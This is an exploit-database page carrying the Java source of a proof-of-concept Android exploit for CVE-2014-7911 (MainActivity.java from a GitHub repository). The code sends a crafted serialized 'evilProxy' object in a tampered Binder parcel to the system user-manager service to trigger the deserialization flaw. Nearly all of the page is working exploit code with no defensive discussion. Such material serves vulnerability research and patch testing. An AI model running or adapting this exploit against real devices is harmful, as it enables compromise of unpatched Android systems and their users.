Exploit databaseDownload repository ZIP
GH-18012c5b1320d3b19ff0e1e47c3b9f74
koozxcv/cve-2014-7911
Sources for CVE-2014-7911
9 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files1
koozxcv/cve-2014-7911Revision 0e1d0946c2ba
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
src/andy/badserial/poc/MainActivity.java
Java · 7,077 bytespackage andy.badserial.poc;
import java.io.Serializable;
import java.io.UnsupportedEncodingException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import dalvik.system.DexClassLoader;
import android.app.Activity;
import android.content.Context;
import android.os.Bundle;
import android.os.IBinder;
import android.os.Parcel;
import android.os.UserHandle;
import android.os.UserManager;
import android.util.Log;
public class MainActivity extends Activity {
private static final java.lang.String DESCRIPTOR = "android.os.IUserManager";
private Class clStub;
private Class clProxy;
private int TRANSACTION_setApplicationRestrictions;
private IBinder mRemote;
public void setApplicationRestrictions(java.lang.String packageName, android.os.Bundle restrictions, int
userHandle) throws android.os.RemoteException
{
android.os.Parcel _data = android.os.Parcel.obtain(); //obtain:retrieve a new Parcel objects from the pool
android.os.Parcel _reply = android.os.Parcel.obtain();
try {
_data.writeInterfaceToken(DESCRIPTOR); //Store an IBinder interface token in the parcel at the current dataPostion()
_data.writeString(packageName);
_data.writeInt(1);
restrictions.writeToParcel(_data, 0);
_data.writeInt(userHandle);
byte[] data = _data.marshall(); //return the raw bytes of the parcel
for (int i=0; true; i++) {//Change 'AAroid' to 'android'
if (data[i] == 'A' && data[i+1] == 'A' && data[i+2] == 'd' && data[i+3] == 'r') {
data[i] = 'a';
data[i+1] = 'n';
break;
}
}
_data.recycle(); //Put a Parcel object back into the pool,you must not touch the object after this call
_data = Parcel.obtain();//obtain a new Parcel object from the pool
_data.unmarshall(data, 0, data.length); //set the bytes in data to be the raw bytes of this parcel
mRemote.transact(TRANSACTION_setApplicationRestrictions, _data, _reply, 0);
/*matched by Binder.onTransact(),This method allow you to send a call to an IBinder object,and receive a call coming in to Binder object
public abstract boolean transact(int code,Parcel data,Parcel,reply,int flags)
code:The action to perform.This should be a number between FIRST_CALL_TABSCATION and LAST_CALL_TRANSACTION.
Parcel:Marshalled data to send to the target.must not be null.
reply:Parcel:Marshalled data to be received from the target.May be null,if you are not
interested in the return value.
flags: Additional operation flags,Either 0 for a normal RPC,or,FLAG_ONEWAY fot one-way PRC?
*/
_reply.readException();
}
finally {
_reply.recycle();
_data.recycle();
}
}
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
Log.i("badserial", "starting... (v3)");
Context ctx = getBaseContext();
try {
//step 1: create evilProxy
Bundle b = new Bundle();
AAdroid.os.BinderProxy evilProxy = new AAdroid.os.BinderProxy();//evilProxy is serializble
b.putSerializable("eatthis", evilProxy);
/*step 2: get android.os.IUserManager.Stub and android.os.IUserManger.Stub.Proxy's
class depended on java language 's reflection. finally, get the interface mRemote,
and do some perpare task else for IPC.*/
Class clIUserManager = Class.forName("android.os.IUserManager");
Class[] umSubclasses = clIUserManager.getDeclaredClasses();
System.out.println(umSubclasses.length+" inner classes found");
Class clStub = null;
for (Class c: umSubclasses) {
System.out.println("inner class: "+c.getCanonicalName());
if (c.getCanonicalName().equals("android.os.IUserManager.Stub")) {
clStub = c;
}
}
Field fTRANSACTION_setApplicationRestrictions =
clStub.getDeclaredField("TRANSACTION_setApplicationRestrictions");
fTRANSACTION_setApplicationRestrictions.setAccessible(true);
TRANSACTION_setApplicationRestrictions =
fTRANSACTION_setApplicationRestrictions.getInt(null);
UserManager um = (UserManager) ctx.getSystemService(Context.USER_SERVICE);
Field fService = UserManager.class.getDeclaredField("mService");
fService.setAccessible(true);
Object proxy = fService.get(um);
Class[] stSubclasses = clStub.getDeclaredClasses();
System.out.println(stSubclasses.length+" inner classes found");
Class clProxy = null; //Obtain android.os.IUserManager.Stub.Proxy
for (Class c: stSubclasses) {
System.out.println("inner class: "+c.getCanonicalName());
if (c.getCanonicalName().equals("android.os.IUserManager.Stub.Proxy")) {
clProxy = c;
}
}
Field fRemote = clProxy.getDeclaredField("mRemote");
fRemote.setAccessible(true);
mRemote = (IBinder) fRemote.get(proxy);
UserHandle me = android.os.Process.myUserHandle();
setApplicationRestrictions(ctx.getPackageName(), b, me.hashCode());
Log.i("badserial", "waiting for boom here and over in the system service...");
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}